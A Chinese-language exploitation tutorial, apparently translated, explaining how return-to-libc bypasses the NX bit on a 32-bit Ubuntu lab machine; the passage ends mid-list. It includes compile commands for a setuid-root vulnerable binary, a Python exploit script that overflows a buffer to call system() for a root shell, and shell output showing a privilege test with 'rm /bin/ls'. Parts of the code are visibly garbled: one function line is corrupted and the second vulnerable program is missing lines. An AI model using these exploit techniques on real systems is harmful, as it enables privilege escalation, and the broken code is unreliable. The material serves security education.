使用 return-to-libc 绕过 NX bit

优质
小牛编辑
157浏览
2023-12-01

前提条件:

经典的基于堆栈的缓冲区溢出

虚拟机安装:Ubuntu 12.04(x86)

在以前的帖子中,我们看到了这个攻击者

  • 复制shellcode堆栈并跳转到它!

为了成功利用漏洞代码。为了阻止攻击者的行动,安全研究人员提出了一个名为“NX 位”的漏洞缓解!

什么是NX 位?

它是一种利用缓解技术,使某些内存区域不可执行,并使可执行区域不可写。示例:使数据,堆栈和堆段不可执行,而代码段不可写。

在NX 位打开的情况下,我们基于堆栈的缓冲区溢出的经典方法将无法利用此漏洞。因为在经典的方法中,shellcode被复制到堆栈中,返回地址指向shellcode。但是现在由于堆栈不再可执行,我们的漏洞利用失败!但是这种缓解技术并不完全是万无一失的,因此在这篇文章中我们可以看到如何绕过NX 位!

编译命令:

  1. $gcc -g -fno-stack-protector -o vuln vuln.c
  2. $sudo chown root vuln
  3. $sudo chgrp root vuln
  4. $sudo chmod +s vuln

注意:-z execstack参数不传递给gcc,因此现在堆栈是非可执行的,可以验证如下所示:

堆栈段只包含RW标志,无E标志!

如何绕过NX位并实现任意代码执行?

可以使用叫做“return-to-libc”的攻击技术绕过NX 位。这里返回地址被一个特定的libc函数地址覆盖(而不是包含shellcode的堆栈地址)。例如,如果攻击者想要生成一个shell,那么他将使用system地址覆盖返回地址,并在堆栈中设置system所需的相应参数,以便成功调用它。

在已经反汇编并绘制了漏洞代码的堆栈布局后,让我们编写一个漏洞代码来绕过NX位!

利用代码:

  1. #exp.py
  2. #!/usr/bin/env python
  3. import struct
  4. from subprocess import call
  5. #Since ALSR is disabled, libc base address would remain constant and hence we can easily find the function address we want by adding the offset to it.
  6. #For example system address = libc base address + system offset
  7. #where
  8. #libc base address = 0xb7e22000 (Constant address, it can also be obtained from cat /proc//maps)
  9. #system offset = 0x0003f060 (obtained from "readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system")
  10. system = 0xb7e61060 #0xb7e2000+0x0003f060
  11. exit = 0xb7e54be0 #0xb7e2000+0x00032be0
  12. #system_arg points to 'sh' substring of 'fflush' string.
  13. #To spawn a shell, system argument should be 'sh' and hence this is the reason for adding line [4] in vuln.c.
  14. #But incase there is no 'sh' in vulnerable binary, we can take the other approach of pushing 'sh' string at the end of user input!!
  15. system_arg = 0x804827d #(obtained from hexdump output of the binary)
  16. #endianess conversion
  17. def conv(num):
  18. return struct.pack("<I",numystem + exit + system_arg
  19. buf = "A" * 268
  20. buf += conv(system)
  21. buf += conv(exit)
  22. buf += conv(system_arg)
  23. print "Calling vulnerable program"
  24. call(["./vuln", buf])

执行上面的exploit程序给我们root shell,如下所示:

宾果,我们得到了root shell!但是在实际应用中,由于root setuid程序会采用最小权限的原则,它并不容易。

此技术允许root setuid程序仅在需要时获取root权限。这指的是当需要时,获得root权限,当不需要它们时,它将丢弃获得的root权限。正常做法是root setuid程序之后,用户获取输入之前删除root权限。因此,即使用户输入是恶意的,攻击者也不会得到root shell。例如下面的漏洞代码不允许攻击者获取root shell。

漏洞代码:

  1. //vuln_priv.c
  2. #include <stdio.h>
  3. #include <string.h>
  4. char buf[256];
  5. seteuid(getuid()); /* Temporarily drop privileges */
  6. printf("%s\n",buf);
  7. fflush(stdout);
  8. return 0;
  9. }

当我们尝试使用下面的漏洞利用代码来利用它时,以上漏洞的代码不会给出root shell。

注意:exp_priv.pyexp.py的略微修改的版本 !只是system_arg变量被调整了!

  1. $ python exp_priv.py
  2. Calling vulnerable program
  3. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`���K川�
  4. $ id
  5. uid=1000(sploitfun) gid=1000(sploitfun) egid=0(root) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
  6. $ rm /bin/ls
  7. rm: remove write-protected regular file `/bin/ls'? y
  8. rm: cannot remove `/bin/ls': Permission denied
  9. $ exit
  10. $

这是隧道的尽头吗?如何利用应用最小权限原则的root setuid程序?

对于漏洞代码(vuln_priv),我们的利用代码(exp_priv.py)正在调用system,随后退出,发现它不足以获取root shell。但是如果我们的利用代码(exp_priv.py)被修改为调用以下libc函数(按照列出的顺序)

  • seteuid(0)